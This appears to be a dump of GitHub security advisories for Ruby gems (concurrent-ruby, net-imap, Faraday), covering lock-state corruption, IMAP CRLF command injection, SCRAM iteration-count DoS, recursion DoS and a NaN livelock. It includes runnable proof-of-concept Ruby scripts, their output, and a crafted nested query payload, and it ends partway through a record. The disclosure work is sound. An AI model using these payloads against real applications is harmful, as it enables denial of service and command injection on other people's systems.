concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruption
Impact
This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.
The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54906"
],
"database_specific": {
"cwe_ids": [
"CWE-414",
"CWE-667"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:41Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n return true unless running_writer?\n c = @Counter.update { |counter| counter - RUNNING_WRITER }\n @ReadLock.broadcast\n @WriteLock.signal if waiting_writers(c) \u003e 0\n true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n while true\n c = @Counter.value\n if @Counter.compare_and_set(c, c-1)\n if waiting_writer?(c) \u0026\u0026 running_readers(c) == 1\n @WriteLock.signal\n end\n break\n end\n end\n true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - \u003c\u003c\u0027RUBY\u0027\nrequire \u0027concurrent/atomic/read_write_lock\u0027\nrequire \u0027concurrent/version\u0027\nrequire \u0027thread\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n lock.acquire_write_lock\n writer1_inside = true\n events \u003c\u003c :writer1_acquired\n sleep 0.5\n writer1_inside = false\n lock.release_write_lock\n events \u003c\u003c :writer1_finished\nend\n\nevents.pop\nputs \u0027writer1_acquired=true\u0027\n\nintruder_result = nil\nintruder = Thread.new do\n intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n lock.acquire_write_lock\n writer2_entered_while_writer1_inside = writer1_inside\n lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n lock2.acquire_read_lock\n \u0027acquired\u0027\nrescue =\u003e error\n \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result \u0026\u0026 writer2_entered_while_writer1_inside \u0026\u0026 counter_after_stray_read_release == -1\n puts \u0027result=REPRODUCED wrong-thread write release and stray read-release corruption\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-6wx8-w4f5-wwcr",
"modified": "2026-06-19T20:47:41Z",
"published": "2026-06-19T20:47:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption"
}
GHSA-75XQ-5H9V-W6PX
Vulnerability from github – Published: 2026-05-04 22:04 – Updated: 2026-07-22 12:31Summary
Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.
Details
Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a "\" prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.
Because the Symbol input is unvalidated, it could contain invalid flag characters, including SP and CRLF, which could be used to finish the current command and inject new commands.
Although IMAP flag arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (flag) inputs.
Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP keyword syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should #to_sym ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that user_input_atom is as \user_input_atom.
For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.
Impact
If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox).
Mitigation
- Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP
flag. - User-provided input should never be able to control calling
#to_symon string arguments.
For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.
* For the few IMAP commands which do allow flag arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42258"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:04:08Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nSymbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.\n\n### Details\n\nSymbol arguments represent IMAP \"system flags\", which are formatted as \"atoms\" (with no quoting) with a `\"\\\"` prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.\n\nBecause the Symbol input is unvalidated, it could contain invalid `flag` characters, including `SP` and `CRLF`, which could be used to finish the current command and inject new commands.\n\nAlthough IMAP `flag` arguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (`flag`) inputs.\n\nNote also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard \"system flags\" needs to use the IMAP `keyword` syntax, which are sent as atoms, i.e: string inputs. Under no circumstances should `#to_sym` ever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason that `user_input_atom` is as `\\user_input_atom`.\n\nFor forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.\n\n### Impact\n\nIf a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like `DELETE mailbox`).\n\n### Mitigation\n* Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP `flag`.\n* User-provided input should never be able to control calling `#to_sym` on string arguments.\n\n For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.\n* For the few IMAP commands which do allow `flag` arguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.",
"id": "GHSA-75xq-5h9v-w6px",
"modified": "2026-07-22T12:31:55Z",
"published": "2026-05-04T22:04:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/9db3e9d60bfb8f3735ea95015bf8a700f4af9cbb"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33462"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37238"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37397"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:38694"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40380"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2468498"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42258.yml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42258.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33512"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33514"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33515"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33540"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33565"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33576"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33577"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33630"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33721"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34076"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35447"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35834"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35866"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35867"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35895"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36099"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36978"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to command Injection via unvalidated Symbol inputs"
}
GHSA-87PF-FPWV-P7M7
Vulnerability from github – Published: 2026-05-04 22:03 – Updated: 2026-05-14 20:48Summary
When authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.
Details
A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive OpenSSL::KDF.pbkdf2_hmac call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.
OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.
This is listed as one of the "Security Considerations", in RFC 7804:
A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).
Impact
During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.
OpenSSL::KDF.pbkdf2_hmac is a blocking C function, so Timeout cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.
Mitigation
- Upgrade to a patched version of
net-imapthat adds themax_iterationsoption to theSASL-*authenticators, and callNet::IMAP#authenticatewith amax_iterationskeyword argument.
NOTE: The default max_iterations is 2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.
* Alternatively, avoid SCRAM-* mechanisms when authenticating to untrusted servers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42256"
],
"database_specific": {
"cwe_ids": [
"CWE-1322",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:03:28Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.\n\n### Details\n\nA hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive `OpenSSL::KDF.pbkdf2_hmac` call. Because the PBKDF2 function is a blocking C extension and holds onto Ruby\u2019s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.\n\nOpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.\n\nThis is listed as one of the \"Security Considerations\", in [RFC 7804](https://www.rfc-editor.org/rfc/rfc7804.html#page-15):\n\u003e A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).\n\n### Impact\n\nDuring SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.\n\n`OpenSSL::KDF.pbkdf2_hmac` is a blocking C function, so `Timeout` cannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.\n\n### Mitigation\n\n* Upgrade to a patched version of `net-imap` that adds the `max_iterations` option to the `SASL-*` authenticators, and call `Net::IMAP#authenticate` with a `max_iterations` keyword argument. \n\n **NOTE:** The default `max_iterations` is `2\u00b3\u00b9 - 1`, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.\n _To prevent a denial of service attack,_ this must be set to a safe value, depending on hardware and version of OpenSSL.\n _It is the user\u0027s responsibility_ to enforce minimum and maximum iteration counts that are appropriate for their security context.\n* Alternatively, avoid `SCRAM-*` mechanisms when authenticating to untrusted servers.",
"id": "GHSA-87pf-fpwv-p7m7",
"modified": "2026-05-14T20:48:25Z",
"published": "2026-05-04T22:03:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/158d0b505074397cdb5ceb58935e42dd2bcfa612"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/808001bc45c06f7297a7e96d341279e041a7f7f4"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/99f59eab6064955a23debd95410263ad144df758"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42256.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc7804.html#page-15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication"
}
GHSA-98M9-HRRM-R99R
Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-26 19:27Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.
A crafted query string such as:
a[x][x][x][x]...[x]=1
causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.
This has been patched in version 2.14.3 and backported to 1.10.6.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.2"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.5"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54297"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:35:43Z",
"nvd_published_at": "2026-06-24T17:17:29Z",
"severity": "HIGH"
},
"details": "`Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.\n\nA crafted query string such as:\n\n```text\na[x][x][x][x]...[x]=1\n```\n\ncauses Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday\u0027s nested query parsing or URL-building paths.\n\nThis has been patched in version 2.14.3 and backported to 1.10.6.",
"id": "GHSA-98m9-hrrm-r99r",
"modified": "2026-06-26T19:27:19Z",
"published": "2026-06-19T19:35:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/pull/1681"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v1.10.6"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v2.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters"
}
GHSA-H8W8-99G7-QMVJ
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54904"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = 